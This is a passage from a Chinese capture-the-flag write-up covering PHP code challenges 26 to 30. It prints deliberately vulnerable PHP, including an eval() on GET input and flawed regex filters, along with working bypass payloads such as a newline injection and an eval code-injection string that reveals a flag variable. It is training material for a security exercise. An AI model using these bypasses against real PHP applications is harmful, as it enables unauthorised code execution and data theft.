    $password = $_GET[‘password‘];

    for ($i = 0; $i < count($value); ++$i) {
        if ($_GET[‘username‘]) unset($username);   #有用户名会被重置
        if ($value[$i] > 32 && $value[$i] < 127) unset($value);           #不让我们输入32到127之间的数字以转换ASCII码
        else $username .= chr($value[$i]);             #使用chr函数生成用户名进行拼接

        if ($username == ‘15th_HackingCamp‘ && md5($password) == md5(file_get_contents(‘./secret.passwd‘))) {                    #此处需要用户名
            echo ‘Hello ‘.$username.‘!‘, ‘<br>‘, PHP_EOL;
            echo $flag, ‘<hr>‘;
        }
    }

    highlight_file(__FILE__);

关于这段代码:它让我们传递三个参数,值,用户名和密码,分析以上代码,我们可以发现解决这道题的关键在于如何绕过。
注意:ord() 函数返回字符串的首个字符的 ASCII 值。

<?php
    $i=0;
while ($i <= 100) {
    $test = $i."e1";
    if ($test > 32 && $test < 127)
    {
    }
    else
    {
        if ((ord(chr($test))>32)&&(ord(chr($test))<127))
    {
        echo "test:".$test."   chr:".chr($test)."\n";
    }
    }
     $i = $i+0.1;
}

脚本生成,然后进行拼接绕过,原理我也不清楚,但是我算了一下当大于256时,他又开始进行了一次轮回,我们往上叠加此时256+65我们输入321,chr(321)转换完之后是A,跟chr(65)是一样的,依次下去我们再加256同样输出还是A,所以我们可以利用这个特性,配合科学计数法进行绕过。

27.

<?php
    error_reporting(0);
    session_start();

    if(isset($_GET[‘username‘], $_GET[‘password‘])){

        if(isset($_SESSION[‘hard_login_check‘])){
            echo ‘Already logged in..‘;

        }else if(!isset($_GET[‘username‘]{3}) || strtolower($_GET[‘username‘]) != $hidden_username){
            echo ‘Wrong username..‘;

        }else if(!isset($_GET[‘password‘]{7}) || $_GET[‘password‘] != $hidden_password){
            echo ‘Wrong password..‘;

        }else{
            $_SESSION[‘hard_login_check‘] = true;
            echo ‘Login success!‘;
            header(‘Location: ./‘);
        }

        echo ‘<hr>‘;
    }

highlight_file(__FILE__);

抓包截取跳转页面。

28.

<?php
    error_reporting(0);
    require __DIR__.‘/flag.php‘;

    if(isset($_GET[‘say‘]) && strlen($_GET[‘say‘]) < 20){

        $say = preg_replace(‘/^(.*)flag(.*)$/‘, ‘${1}<!-- filtered -->${2}‘, $_GET[‘say‘]);

        if(preg_match(‘/give_me_the_flag/‘, $say)){
            echo $flag;
        }else{
            echo ‘What the f**k?‘;
        }

        echo ‘<hr>‘;
    }

    highlight_file(__FILE__);

正则表达式缺陷:payload:?say=%0agive_me_the_flag,因为用于任意字符匹配并不包括换行符。

29.

<?php
    error_reporting(0);
    require __DIR__.‘/flag.php‘;

    $exam = ‘return\‘‘.sha1(time()).‘\‘;‘;

    if (!isset($_GET[‘flag‘])) {
        echo ‘<a href="./?flag=‘.$exam.‘">Click here</a>‘;
    }
    else if (strlen($_GET[‘flag‘]) != strlen($exam)) {
        echo ‘Not allowed length‘;
    }
    else if (preg_match(‘/`|"|\.|\\\\|\(|\)|\[|\]|_|flag|echo|print|require|include|die|exit/is‘, $_GET[‘flag‘])) {
        echo ‘Not allowed keyword‘;
    }
    else if (eval($_GET[‘flag‘]) === sha1($flag)) {
        echo $flag;
    }
    else {
        echo ‘What\‘s going on?‘;
    }

    echo ‘<hr>‘;

    highlight_file(__FILE__);



<?php
$s=sha1(time());
echo $s;
?>

发现每时每刻长度都固定: 3e16f4fb5552eea3a9ca69b4a3b34fa00cc47900
eeb3d8c9d23853b5cdd9ff5b99b6032562b51ddd b3b67a4905a90a58ad871c6fa24b6740f1530b86 8b5202991bcba3ff13dd2c1f5a37d49e00e4bc48 增加条件: <?php $s=sha1(time()); echo $s; $c=strlen($s); echo ‘
‘; echo $c; ?> 输出
09d3c5189576f97f22d5bf4a31074bec4db71289
40 长度为40.
加上php判断条件后长度为49。尝试输入49个0成功。
此时关注到最后一个判断条件: 此处我们可以自己造一个韩束出来来显示flag这个变量,但由于flag被过滤,我没让你需要用拼接的方式来让它显现出来 $a=‘alag‘; $a{0}=‘f‘; 在php中 <?php echo $a?>和<?=$a?>是一样的 payload:?flag=$a=‘alag‘;$a{0}=‘f‘;1111111111111111;?><?=${$a}?> 此时就是echo $flag

30.

<?php 
require __DIR__.‘/flag.php‘; 
$IsMatch= preg_match("/hongya.*ho.*ngya.{4}hongya{3}:\/.\/(.*hongya)/i", trim($_POST["id"]), $match);
if( $IsMatch ){  
  die(‘Flag: ‘.$flag);
}

highlight_file(__FILE__);
?>

满足正则表达式匹配即可,hongya..ho..ngya....hongyaaa:/./..hongya

PHP_Code_Challenge 1~30

标签:input   rom   无法获得   das   console   ack   tar   tab   secure   

原文地址:https://www.cnblogs.com/ophxc/p/12916570.html

(0)
(0)
   
举报
评论 一句话评论(0
登录后才能评论!
© 2014 mamicode.com 版权所有  联系我们:gaon5@hotmail.com
迷上了代码!